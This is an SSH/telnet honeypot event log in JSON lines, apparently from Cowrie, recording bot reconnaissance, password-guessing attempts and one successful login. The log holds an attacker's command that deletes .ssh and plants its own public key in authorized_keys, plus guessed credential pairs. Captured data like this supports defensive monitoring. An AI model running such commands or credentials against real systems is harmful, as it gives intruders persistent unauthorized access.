{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:41.401143Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:41.404855Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:41.682323Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.847418785095215,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:41.798577Z","src_ip":"148.230.132.40","session":"73be4c32e4d6","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:42.287129Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:42.290670Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:42.578728Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:43.174042Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:43.177812Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:43.458892Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:44.056980Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:44.060404Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:44.338069Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:44.943952Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:44.947214Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:45.226474Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:45.817953Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:45.821408Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:46.109109Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:46.710773Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:46.714038Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:46.998229Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:47.594029Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:47.597564Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:47.883172Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:48.490178Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:48.493849Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:48.776917Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:49.377620Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:49.381040Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:49.668862Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.1","message":"Connection lost after 23.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:04:49.674563Z","src_ip":"103.63.108.25","session":"1cf4880bc821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc4c0d1bb585","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: bc4c0d1bb585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:05:12.597177Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:05:12.713855Z","src_ip":"77.90.185.16","session":"bc4c0d1bb585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":40494,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9d57dc4aced","protocol":"ssh","message":"New connection: 103.63.108.25:40494 (159.203.135.109:22) [session: f9d57dc4aced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:05:27.471847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:05:27.475840Z","src_ip":"103.63.108.25","session":"f9d57dc4aced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:05:27.751901Z","src_ip":"103.63.108.25","session":"f9d57dc4aced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd","message":"login attempt [ubuntu/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:05:28.889158Z","src_ip":"103.63.108.25","session":"f9d57dc4aced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:05:30.174793Z","src_ip":"103.63.108.25","session":"f9d57dc4aced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":35770,"dst_ip":"159.203.135.109","dst_port":22,"session":"611171dec83e","protocol":"ssh","message":"New connection: 103.63.108.25:35770 (159.203.135.109:22) [session: 611171dec83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:26.945622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:26.951097Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:27.221443Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle2019","message":"login attempt [oracle/oracle2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:28.309201Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:28.901972Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:28.905347Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:28.909334Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:29.190723Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:29.777630Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:29.781179Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:30.067628Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:30.071694Z","src_ip":"103.63.108.25","session":"611171dec83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":36856,"dst_ip":"159.203.135.109","dst_port":22,"session":"952e51114172","protocol":"ssh","message":"New connection: 103.63.108.25:36856 (159.203.135.109:22) [session: 952e51114172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:30.340581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:30.345742Z","src_ip":"103.63.108.25","session":"952e51114172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:31.885095Z","src_ip":"103.63.108.25","session":"952e51114172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:06:33.031793Z","src_ip":"103.63.108.25","session":"952e51114172","protocol":"ssh"}
